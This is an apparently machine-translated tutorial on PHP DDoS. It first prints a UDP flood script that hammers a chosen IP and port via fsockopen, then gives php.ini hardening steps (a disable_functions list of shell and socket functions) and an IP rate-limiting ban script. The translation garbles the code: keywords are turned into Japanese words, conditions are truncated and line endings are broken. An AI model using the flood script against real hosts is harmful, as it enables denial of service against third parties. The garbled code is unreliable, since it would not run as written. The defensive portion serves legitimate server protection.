PHP DDo は、私のサーバーの php.ini で、allow_url_fopen = On という設定を使用するサーバーですが、多くの Web サイトでは、allow_url_fopen 関数を使用する必要があります。PHP の DDo メソッドについて、いくつかの防御策を紹介します。まずはphpのddosコード
コードは次のとおりです
| コードをコピー
|
$パケット = 0;
$ip = $_GET['ip'];
$rand = $_GET['ポート']
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = 時間();
print "フラッディング: $ip ポート $rand
";
$max_time = $time+$exec_time;
for($i=0;$i
$out .= "X";
}
while(1){
$パケット++
if(time() > $max_time){
休憩
}
$fp = fsockopen ("udp://$ip", $rand, $errno, $errstr, );
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "パケットは ".time('h:i:s') に完了しました。" with $packets (" .round(($packets*65)/1024, 2) . " mB) パケットの平均 Round($packets" /$exec_time、2) "パケット/秒";
?>
注意深い友人は、fsockopen が主要な攻撃機能であることに気づくでしょう。継続的に接続してリクエストを送信すると、過剰なマシン トラフィックと CPU が発生し、Web サイトに正常にアクセスできなくなります。
そこで、PHP DDos スクリプトの構造を簡単に調べて、それを最大限に回避する方法をいくつか学びました。
注意: 以下の操作は危険を伴いますので、Maxthon は注意して操作してください。
| 1.php.iniを開きます
2. 危険な機能を無効にする
プログラムごとに機能要件が異なるため、無効にする必要がある機能を追加または削除するようお客様にお願いします。
disable_functions を見つけて、先頭の「;」を削除し、等号の後に追加します。
コードは次のとおりです
コードをコピー
phpinfo、passthru、exec、system、popen、chroot、escapeshellcmd、escapeshellarg、shell_exec、proc_open、
proc_get_status、fsocket、fsockopen
|
3.PHP実行タイムアウトを設定する
プログラムが終了していないのに最大実行時間に達した場合は強制停止しますので、必要に応じて時間を調整してください。
max_execution_time を見つけて、前の「;」を削除し、等号の後に正の整数を追加します。単位は秒です (例: 30)。
4. アップロードディレクトリのPHP実行権限を無効にする
サーバーには、IIS、Apache、Nginx の 3 種類があります。具体的な手順は書きません。参考までに、次のリンクを示します。
iisとApacheでディレクトリスクリプトの実行許可を解除する方法:http://www.bKjia.c0m/sys/Windows/46232.htm
5. 非常に暴力的な方法です
PHP の実行を直接禁止する理由は、多くのサイトが静的 Web ページを生成または管理するたびに手動で PHP の実行権限を開く必要があるためです。具体的な方法については、この方法を参照してください。 4
6. ユーザーセンターを閉じる
例えば、dede などの cms にはユーザーセンターがあり、そこにアップロードする場所がたくさんあります。おそらくこれが問題です。
7. 管理者ディレクトリを変更します
すべてのプログラムに適しているわけではないため、この方法については詳しく説明しません。
8. デフォルトの管理アカウントを変更します
多くの人は admin の使用に慣れていますが、プログラムに抜け穴がある場合、admin のパスワードは推測されやすいため、admin を別のログイン名に変更することをお勧めします。
9. 複雑で覚えやすいパスワード
Windows/Linux システム ユーザーであっても、Web サイト管理者アカウントであっても、123hai@tang@ のような推測しにくいパスワードを設定する必要があります。
DDoS 攻撃を防ぐために PHP コードを添付します
コードは次のとおりです
コードをコピー |
|
//禁止された IP をクエリします
$ip =$_SERVER['REMOTE_ADDR']
$fileht=".htaccess2";
if(!file_exists($fileht))file_put_contents($fileht,"");
$filehtarr=@file($fileht);
if(in_array($ip."rn",$filehtarr))die("警告:"." "."あなたの IP アドレスは何らかの理由で禁止されています。質問がある場合は、shop@mydalle までお問い合わせください。 .com!」);
//禁止された IP を追加します
$time=time();
$fileforbid="log/forbidchk.dat";
if(file_exists($fileforbid))
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid);
その他{
$fileforbidarr=@file($fileforbid);
if($ip==substr($fileforbidarr[0],0,strlen($ip)))
{
if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}
}
}
}
//防刷新
$str="";
$file="log/ipdate.dat";
if(!file_exists("ログ")&&!is_dir("ログ"))mkdir("ログ",0777);
if(!file_exists($file))file_put_contents($file,"");
$allowTime = 120;//防刷新時間
$allowNum=10;//防刷新次数
$uri=$_SERVER['REQUEST_URI'];
$checkip=md5($ip);
$checkuri=md5($uri);
$yesno=true;
$ipdate=@file($file);
foreach($ipdate as $k=>$v)
{ $iptem=substr($v,0,32);
$uritem=substr($v,32,32);
$timetem=substr($v,64,10);
$numtem=substr($v,74);
if($time-$timetem
if($iptem!=$checkip)$str.=$v;
その他{
$はいいいえ=偽;
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";
elseif($numtem
その他
{
if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);
$timepass=$timetem+$allowTime-$time;
die("警告:"." "."申し訳ありませんが、頻繁に更新しすぎることは禁止されています。続行するには、".$timepass." 秒待ってください!");
}
}
}
}
if($yesno) $str.=$checkip.$checkuri.$time."1rn";
file_put_contents($file,$str);
?>
相关教程:
iis 防止 php ddos 占完网络带宽与服务器资源解决方法
|
http://www.bkjia.com/PHPjc/632837.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/632837.html技術記事 PHP DDos は一种利用服务器就是利用我服务器的php.ini中構成allow_url_fopen = On才得了,但allow_url_fopen この機能很多网站都需要使用,下面我来...